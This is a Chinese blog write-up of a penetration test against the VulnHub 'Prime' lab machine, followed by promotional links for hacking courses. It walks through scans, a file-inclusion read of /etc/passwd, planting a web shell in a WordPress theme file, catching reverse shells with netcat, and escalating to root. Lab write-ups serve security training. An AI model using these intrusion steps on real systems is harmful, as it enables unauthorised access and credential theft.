【网络安全】Prime 打靶记录

最新推荐文章于 2024-07-16 21:54:31 发布
最新推荐文章于 2024-07-16 21:54:31 发布
阅读量105 收藏
点赞数
文章标签： web安全 网络 渗透测试 nmap
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Cairo_A/article/details/135201962
版权

总体思路

image

nmap扫描

端口信息扫描

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

开放端口及系统详细信息扫描

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8dc52023ab10cadee2fbe5cd4d2d4d72 (RSA)
|   256 949cf86f5cf14c11957f0a2c3476500b (ECDSA)
|_  256 4bf6f125b61326d4fc9eb0729ff46968 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: HacknPentest
MAC Address: 00:0C:29:EB:A5:7C (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

简单脚本扫描

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum: 
|   /wordpress/: Blog
|_  /wordpress/wp-login.php: Wordpress login page.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
MAC Address: 00:0C:29:EB:A5:7C (VMware)

nmap结果分析及渗透优先级排序

只有web和ssh，毫无疑问，Web-->ssh
Web可能是Wordpress内容管理系统，Apache httpd 2.4.18。
ssh是OpenSSH 7.2p2。

Web渗透

页面信息检索

只有一张图片，刚刚nmap探测可能是Wordpress，尝试访问。
 

image


确实是wordpress，而且还发现一个victor用户。

目录暴破

# gobuster dir -u "http://192.168.137.146/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.tar,.zip
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.137.146/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Extensions:              php,txt,tar,zip
[+] Timeout:                 10s
===============================================================
2023/11/10 14:50:16 Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 294]
/index.php            (Status: 200) [Size: 136]
/image.php            (Status: 200) [Size: 147]
/wordpress            (Status: 301) [Size: 322] [--> http://192.168.137.146/wordpress/]                                                                                    /dev                  (Status: 200) [Size: 131]
/javascript           (Status: 301) [Size: 323] [--> http://192.168.137.146/javascript/]
/secret.txt           (Status: 200) [Size: 412]
/.php                 (Status: 403) [Size: 294]
/server-status        (Status: 403) [Size: 303]
Progress: 1094876 / 1102805 (99.28%)

发现的文件逐一访问，访问到/secret.txt时，发现提示:

image

Wfuzz

根据提示，在http://192.168.137.146/index.php使用Fuzz技术

# wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hw=12 "http://192.168.137.146/index.php?FUZZ=aaaa"
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.137.146/index.php?FUZZ=aaaa
Total requests: 951

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000341:   200        7 L      19 W       206 Ch      "file"

Total time: 0.611152
Processed Requests: 951
Filtered Requests: 950
Requests/sec.: 1556.076

发现file参数。包含并访问http://192.168.137.146/index.php?file=location.txt
 

image


根据提示，尝试刚刚的另一个php页面，也就是/image.php，访问http://192.168.137.146/image.php?secrettier360=/etc/passwd，发现可以进行文件包含。
 

image


发现用户victor和saket。仔细看，会发现提示：
 

image


那么利用文件包含去查看password.txt
 

image


得到密码：follow_the_ippsec。
当然，在此之前我尝试了利用文件包含去包含了一些系统敏感信息，ssh私钥等。都无进展。
此处我想到了ssh进行登录，后来发现登不进去。于是尝试了wordpress的后台登陆。登陆成功。

image

getshell

wordpress渗透

拿到wordpress的后台之后，通常有常规的两种getshell思路：

  1. 上传插件的地方进行文件上传。

  2. 找到可以进行修改php文件的地方写入shell。通常是主题编辑那里。

文件上换那里我试了一下没成功。但是找到了可以更改的php文件，写入了shell。

image

去网上找了一下路径，最终访问http://192.168.137.146/wordpress/wp-content/themes/twentynineteen/secret.php获得了初始立足点。

# nc -lvnp 8081
listening on [any] 8081 ...
connect to [192.168.137.135] from (UNKNOWN) [192.168.137.146] 39296
Linux ubuntu 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 21:29:39 up 35 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami 
www-data
$

提权

sudo -l发现有可以执行的脚本enc，但是需要密码。
那么尝试find密码或者备份文件之类的。
最终，/opt/backup/server_database/backup_pass发现密码。
继续去执行enc。发现生成了enc.txt和key.txt。看到这两个文件名，我想到了openssl解密。在目标靶机上用python开启http的8000端口服务：

www-data@ubuntu:/$ python3 -m http.server
python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 ...

然后我们就可以下载到enc.txt和key.txt文件了。

Openssl解密

补充一下Openssl的知识

Openssl是个工具，里面有包括很多模块。其中enc模块可以用于加解密。
解密：
openssl enc -d -a -ciphername -K key
-d 进行解密。
-a：当进行加解密时，需要解密的内容可能需要进行base64转换。设置此选项后，加密结果进行base64编码；解密前先进行base64解码。
-ciphername：算法名字
-K key：用的实际密钥值：这个必须被提出，它是一个16进制的输入口令。因为需要16进制，尝尝需要od命令配合。

加密：
openssl passwd -1 123456执行该命令会生成一个形如$1$salt$hash的密码哈希值，其中salt是随机生成的盐值，hash是根据密码和盐值计算出的哈希值。linux密码就是这样的算法。
"openssl"是一个用于生成和管理安全证书、密钥和密码的开放源代码工具。
"passwd"是OpenSSL工具的一个子命令，用于生成密码散列。
"-1"是一个选项参数，指定使用MD5算法生成密码散列。这个选项也被称为"md5"选项。
"123456"是要加密的原始密码。这里使用了一个示例密码"123456"，您可以替换为您自己的密码。

解密

enc.txt:

# cat ./enc.txt
nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=

像是bash64编了码。因此，一会解密需要带上-a或者-base64。
key.txt:

# cat ./key.txt
I know you are the fan of ippsec.

So convert string "ippsec" into md5 hash and use it to gain yourself in your real form.

根据他说的，我们将ippsec去md5之后就是需要的key。

# echo "ippsec" | tr -d '\n' | md5sum | awk -F " " '{print $1}' | tr -d '\n' | od -A n -t x1 | tr -d ' ' | tr -d '\n'
3336366137346362336339353964653137643631646233303539316333396431

以防可能存在换行符影响最终的hash值，我每个操作都将换行符删了，并且使用od转换为了16进制（因为Openssl的Key需要16进制）。
现在得到了要解密的东西，得到了需要的Key。但是不知道用什么解密算法进行解密。那么我尝试直接写个循环，将所有openssl支持的解密算法全部尝试一遍。最终命令如下：

# for type in $(cat ./type);do echo "nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg
/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=" | openssl enc -d -a $type -K 333636613734636233633935396465313764
3631646233303539316333396431 2>/dev/null;done;

其中，./type文件里的内容openssl enc -list的内容，这是全部支持的解密算法。
结果如下：
 

image


我们得到了saket的密码：tribute_to_ippsec。
尝试ssh进行登录，得到了saket的shell：

# ssh saket@192.168.137.146 
saket@192.168.137.146's password: 
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.10.0-28-generic x86_64)
Last login: Sat Nov 11 00:22:37 2023 from 192.168.137.135
$ whoami
saket
$

二次提权

现在的saket还不是root权限。需要进一步提权。
常规便利之后，发现sudo -l里可以执行脚本，但是执行之后提示缺少文件。很明显，此处是root用户的权限进行执行，那么如果我们创建缺少的文件，并且将shell写入。那么就会提权成功。
写入反弹shell，本地8082jian'l再次执行，最终提权成功。

# nc -lvnp 8082
listening on [any] 8082 ...
connect to [192.168.137.135] from (UNKNOWN) [192.168.137.146] 55324
root@ubuntu:~# whoami
whoami
root
root@ubuntu:~#

靶机总结与认知成长

  1. php文件的地方最好可以进行Fuzz，看有没有存在的传参。

  2. 针对wordpress的渗透，拿到后台之后，首先要想到两件事，一是上传，二是插php的shell。

  3. 进入系统之后，find时，需要对.bak或者password等关键词进行搜索，特别是用户多的机器。

  4. Openssl解密需要注意。

网络安全学习路线

 如果你想要入门网络渗透，这份282G全网最全的网络安全资料包！

  网络安全大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享

 👉网安（嘿客红蓝对抗）所有方向的学习路线👈

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

​​​​​
 学习资料工具包

压箱底的好资料，全面地介绍网络安全的基础理论，包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等，将基础理论和主流工具的应用实践紧密结合，有利于读者理解各种主流工具背后的实现机制。

​​​​​

网络安全源码合集+工具包

​​​

视频教程

​​​

 视频配套资料&国内外网安书籍、文档&工具

​​
​​ 因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

黑客/网安大礼包：CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享

好了就写到这了,大家有任何问题也可以随时私信问我!希望大家不要忘记点赞收藏哦!

黑客-小千
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
【vulnhub 靶场】prime1打靶记录
weixin_54603520的博客
05-09 285
【vulnhub 】---prime 靶场打靶记录
vuInhub靶场实战系列-prime:1
06-05
vuInhub靶场实战系列-prime:1
靶机渗透之prime1（解法2）
qi_qi14的博客
07-18 328
使用saket与tribute_to_ippsec，成功登录。在当前文件夹下，enc文件需要密码，尝试去寻找该文件的密码。/var文件查找，发现都是不可操作文件。进行解码获得old password。发现新多了两个文件，进行查看。/opt查找下，找到密码。可能含有有效的备份文件。
Prime 打靶记录
zkaqlaoniao的博客
01-19 78
php文件的地方最好可以进行Fuzz，看有没有存在的传参。针对wordpress的渗透，拿到后台之后，首先要想到两件事，一是上传，二是插php的shell。进入系统之后，find时，需要对.bak或者password等关键词进行搜索，特别是用户多的机器。Openssl解密需要注意。
【vulnhub靶场】PRIME:1打靶过程记录
didiplus
07-17 2839
最近发现一个很有趣的靶场集合，里面涵盖了一些基本的漏洞，我们通过漏洞复现。了解一些网络安全的一些基本操作。
prime95使用教程.pdf
06-24
Prime95是一款专门用于CPU稳定性测试的工具，由著名软件开发者George Woltman开发，主要用于检测计算机系统的稳定性，特别是CPU的耐受性。这款软件的名字来源于其主要功能——计算梅森质数（Mersenne primes），这是...
Prime Time脚本
03-11
pt全套脚本，包含ReadME等指导使用
Eprime 2.0安装包.rar
02-25
在EPrime 2.0中，用户可以通过直观的图形用户界面（GUI）来设计实验流程，包括刺激呈现、反应记录、时间精确控制等关键功能。软件支持各种类型的刺激，如文本、图像、音频和视频，并能灵活处理实验条件的随机化和...
check prime_Primenumber_
09-30
在编程领域，素数（Prime Number）是指大于1且除了1和它本身以外没有其他正因数的自然数。它们是数论中的基础概念，在密码学、计算机科学和数学中有广泛应用。本篇将深入探讨如何编写一个C语言程序来判断一个数是否...
DNSSec：网络安全的守护者
jiamisoft的博客
07-12 414
DNSSec是一种安全协议，它为DNS查询和响应过程提供了额外的加密层。通过使用公钥基础设施（PKI）和数字签名，DNSSec能够验证DNS响应的真实性，从而防止DNS欺骗攻击，即攻击者将用户重定向到恶意网站的行为。
网络安全-基础网络概念1
LS_Ai的博客
07-11 555
计算机网络是一种将多个计算机系统和设备连接在一起的技术，目的是为了共享资源和信息。网络使得设备之间可以进行数据传输和通信，常见的网络包括局域网（LAN）、广域网（WAN）和城域网（MAN）。
在日常生活中，应该如何保护自己的网络安全
2301_79527080的博客
07-16 77
• 安全的网上购物：• 确保购物网站是安全的，检查网址前缀是否为“https”。• 教育和意识：• 不断学习网络安全知识，了解最新的威胁和防御措施。• 确认网站的URL是否正确，避免访问伪造的网站。• 启用多因素认证（MFA）：• 多因素认证可以为账户提供额外的安全层，通常包括你所知道的（密码）、你所拥有的（手机验证码）以及你是谁（生物特征识别）。• 限制公开信息：• 避免在社交媒体上公开过多的个人信息，如旅行计划、工作地点等。• 更新和补丁：• 保持操作系统、软件和应用程序的最新状态，及时安装安全补丁。
网络安全防御 -- 双机热备和带宽管理综合实验
rrl18215821889的博客
07-16 247
12，对现有网络进行改造升级，将当个防火墙组网改成双机热备的组网形式，做负载分担模式，游客区和DMZ区走FW3，生产区和办公区的流量走FW1。13，办公区上网用户限制流量不超过100M，其中销售部人员在其基础上限制流量不超过60M，且销售部一共10人，每人限制流量不超过6M。16，外网访问内网服务器，下行流量不超过40M，DMZ中的每台服务器限制对外提供的最大下行带宽不超过20M。做负载分担模式，生产区和办公区的流量走FW1，游客区和DMZ区走FW3。配置g0/0/0ip和开启服务。办公区销售部带宽策略;
网络安全-内网安全加固方案
PanDD_0_1的博客
07-12 808
网络安全-内网安全
智能车存在网络安全隐患，如何应设计出更好的安全防护技术？
tigerman20201的博客
07-13 266
然而，高度的网络化和智能化也使智能车面临着严峻的网络安全挑战，如远程攻击、数据泄露和恶意控制等。未来，随着技术的不断发展，应持续加强对智能车网络安全的研究和创新，以应对不断变化的安全威胁。摘要：随着智能车技术的迅速发展，车辆的网络连接性不断增强，然而这也带来了诸多网络安全隐患。本文深入探讨了智能车面临的网络安全威胁，并提出了一系列创新的安全防护技术设计，旨在为智能车的安全运行提供更可靠的保障。黑客可以通过公共网络对智能车的通信系统进行攻击，干扰车辆的正常运行，甚至获取车辆的控制权。
java配置nginx网络安全，防止国外ip访问，自动添加黑名单，需手动重新加载nginx
weixin_44006009的博客
07-13 304
创建一个类，自己添加一个main启动类即可测试。通过访问日志自动添加国外ip黑名单。
网络安全----web安全防范
最新发布
weixin_55357256的博客
07-16 368
以下代码用来防范流行的DDoS攻击，ARP欺骗，CC攻击，XXS攻击，对输入的恶意代码进行过滤，嵌入到web程序可以很好的防范网络攻击，但如果想要更好的防范网络攻击，还需要更加复杂的配置和更硬核的硬件。print(f"可能的 CC 攻击针对资源 {resource} 检测到")# 用于检测 CC 攻击的函数（简单示例，通过监测短时间内对同一资源的请求频率）# 用于检测 XSS 攻击的函数（简单示例，检查输入中是否存在可疑脚本标签）# 用于检测 DDoS 攻击的函数（简单示例，通过监测短时间内的连接数量）
AI基于大模型语言存在的网络安全风险
yh
07-16 231
AI网络安全

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值